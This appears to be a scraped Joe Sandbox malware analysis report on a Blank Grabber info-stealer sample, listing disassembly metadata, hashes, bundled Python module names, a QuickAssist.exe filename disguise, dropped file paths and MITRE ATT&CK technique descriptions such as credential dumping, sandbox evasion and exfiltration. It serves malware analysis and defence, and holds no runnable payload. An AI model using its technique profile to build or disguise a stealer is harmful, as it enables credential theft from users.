Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: 5F114972B1CF41C5EA10AF56AC440A9F7A1BB98FD4B948439CE1C93324FF7CE50A8A54

Function 00007FF71D2B5DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2B5E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2B5E2F

Strings

;%%0%du, xrefs: 00007FF71D2B5E0A

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: 7d43370ee86065d88c36b9e61e70c0c70f5aa0cab77fbf317800a9a58a4468a4
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: FB11B632A0CA8182E720AB24E0103EAB360FB88754F844131DB8D07795EE7CE54DCF50

Function 00007FF71D2D331C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2E42CC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2E430F

GetVolumeInformationW.KERNEL32(?,00007FF71D2D0BED,?,?,00000000,?,?,00007FF71D2CF30F,00000000,00007FF71D2B6380,?,00007FF71D2B2EC8), ref: 00007FF71D2D337E

Strings

FAT, xrefs: 00007FF71D2D3388
FAT32, xrefs: 00007FF71D2D339D

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction ID: 1880f051f5ae1613de243d5113bbb8a39fb3a7f4197e5524f1ff684751da8a03
Opcode Fuzzy Hash: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction Fuzzy Hash: 59114232A1CE4281F760AB50E8912E6E355FB94354FC45135E98D82A95FF3CE11DCF24

Function 00007FF71D2FB974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF71D2FB97B
GetLastError.KERNEL32 ref: 00007FF71D2FB986

Part of subcall function 00007FF71D2CCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF71D2CCEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF71D2FB990

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: 0e80b1bcc96b86953e7d3a7e77f03b6266431c77517f088ea868eeb230d1227f
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: EEE0E531E0CC0292EA40B725AC850A5E251AF547B4FD04335D43E421E1FF2CA94E9B21

Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1330071281.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000000.1323604931.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQuickAssist.exej% vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324723670.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1329798498.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1325023146.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1329595963.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324098275.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1325594493.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1325471563.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324638401.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1323859878.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324345518.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324470480.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1324838344.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1327152682.00000162E1226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776316870.00007FF8F0D18000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772678970.00007FF8E738D000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773198829.00007FF8E7504000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776819964.00007FF8F585C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1770691400.00007FF8E6E27000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1768907588.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameQuickAssist.exej% vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1775764762.00007FF8F0953000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776987075.00007FF8F6DAC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1776611713.00007FF8F1E08000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1771472421.00007FF8E729B000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773459694.00007FF8E7532000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1772036219.00007FF8E7353000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1777703826.00007FF8F9D77000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1775141445.00007FF8E7BBB000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython311.dll. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773719902.00007FF8E756C000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1773968980.00007FF8E75D2000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Binary or memory string: OriginalFilenameQuickAssist.exej% vs SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Blank Grabber

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\? ? \Display (1).png

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\R9FJX.zip

C:\Users\user\AppData\Local\Temp\RES3733.tmp

C:\Users\user\AppData\Local\Temp\_MEI76002\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI76002\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI76002\_ctypes.pyd

Windows Analysis Report
SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

